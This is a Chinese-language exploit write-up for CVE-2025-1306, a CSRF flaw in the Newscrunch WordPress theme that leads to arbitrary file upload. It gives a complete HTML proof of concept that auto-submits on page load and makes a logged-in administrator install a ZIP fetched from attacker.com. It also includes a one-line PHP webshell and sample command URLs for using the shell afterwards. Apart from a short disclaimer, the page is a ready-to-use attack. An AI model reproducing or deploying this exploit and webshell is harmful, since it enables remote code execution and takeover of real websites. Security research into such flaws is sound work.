此漏洞利用针对 Newscrunch WordPress 主题中的跨站请求伪造 (CSRF) 导致任意文件上传漏洞 (CVE-2025-1306)。由于 newscrunch_install_and_activate_plugin() 函数缺少 nonce 验证,未经认证的攻击者可以诱骗已登录的管理员将任意文件上传到服务器,从而导致远程代码执行 (RCE)。
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H可利用性: 需要管理员访问精心构造的恶意链接。
此漏洞利用强制已认证的管理员执行CSRF 攻击,上传包含 webshell 的恶意 ZIP 文件。
<!DOCTYPE html>
<html>
<head>
<title>CSRF Exploit CVE-2025-1306 By Nxploit ,Khaled AlEnazi</title>
</head>
<body>
<h2>Click anywhere to load content...</h2>
<script>
function sendExploit() {
var form = document.createElement("form");
form.method = "POST";
form.action = "http://target.com/wp-admin/admin-ajax.php?action=newscrunch_install_activate_plugin";
var input = document.createElement("input");
input.type = "hidden";
input.name = "plugin_url";
input.value = "http://attacker.com/shell.zip";
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
window.onload = function() {
sendExploit();
};
</script>
</body>
</html>
📌 请替换:
http://target.com/ 为易受攻击的 WordPress 站点http://attacker.com/shell.zip 为包含 webshell 的恶意 ZIP 有效载荷<?php system($_GET['cmd']); ?>
📌 成功利用后,访问 webshell:
http://target.com/wp-content/plugins/shell.php?cmd=whoami
http://target.com/wp-content/plugins/shell.php?cmd=ls
此工具仅用于教育和安全研究目的。 未经授权利用漏洞是违法的,并会受到法律制裁。作者对此工具造成的任何滥用或损害概不负责。请负责任地使用。